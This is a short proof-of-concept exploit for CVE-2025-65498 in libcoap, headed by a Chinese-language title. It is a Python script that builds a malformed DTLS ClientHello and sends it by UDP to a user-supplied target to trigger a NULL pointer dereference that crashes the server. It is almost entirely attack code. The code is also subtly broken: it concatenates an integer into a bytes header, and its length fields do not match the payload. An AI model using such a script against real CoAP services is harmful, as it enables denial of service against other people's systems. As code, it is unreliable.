CVE-2025-65498 libcoap coap_dtls_generate_cookie() 空指针解引用拒绝服务漏洞

import socket import struct import ssl def create_dtls_client_hello(): """ Generate a malformed DTLS ClientHello packet to trigger NULL pointer dereference in coap_dtls_generate_cookie() """ # DTLS record layer header content_type = 0x16 # Handshake version = 0xfefd # DTLS 1.2 epoch = 0x0000 sequence_number = b'\x00\x00\x00\x00\x00\x01' length = 200 # Arbitrary length record_header = struct.pack('>BBH', content_type, version >> 8, version & 0xFF) record_header += epoch record_header += sequence_number record_header += struct.pack('>H', length) # Malformed handshake header msg_type = 0x01 # ClientHello msg_length = 0x000000 msg_seq = 0x0000 frag_offset = 0x000000 frag_length = 0x00C8 handshake_header = struct.pack('>B', msg_type) handshake_header += struct.pack('>I', msg_length)[1:] # 3 bytes handshake_header += struct.pack('>H', msg_seq) handshake_header += struct.pack('>I', frag_offset)[1:] # 3 bytes handshake_header += struct.pack('>I', frag_length)[1:] # 3 bytes # Incomplete payload to trigger NULL context payload = b'\xfe\xfd' # DTLS version payload += b'\x00' * 32 # Random bytes payload += b'\x00' # Session ID length = 0 payload += b'\x00\x00' # Cookie length = 0 payload += b'\x00\x00' # Cipher suites length payload += b'\x00' # Compression methods length return record_header + handshake_header + payload def exploit_cve_2025_65498(target_host, target_port=5684): """ Send malformed DTLS ClientHello to trigger CVE-2025-65498 """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) pkt = create_dtls_client_hello() print(f"[*] Sending malformed DTLS ClientHello to {target_host}:{target_port}") sock.sendto(pkt, (target_host, target_port)) print(f"[*] Packet sent: {len(pkt)} bytes") print(f"[*] This should trigger NULL pointer dereference in coap_dtls_generate_cookie()") sock.close() if __name__ == '__main__': import sys if len(sys.argv) > 1: exploit_cve_2025_65498(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 5684) else: print(f"Usage: python {sys.argv[0]} <target_ip> [port]")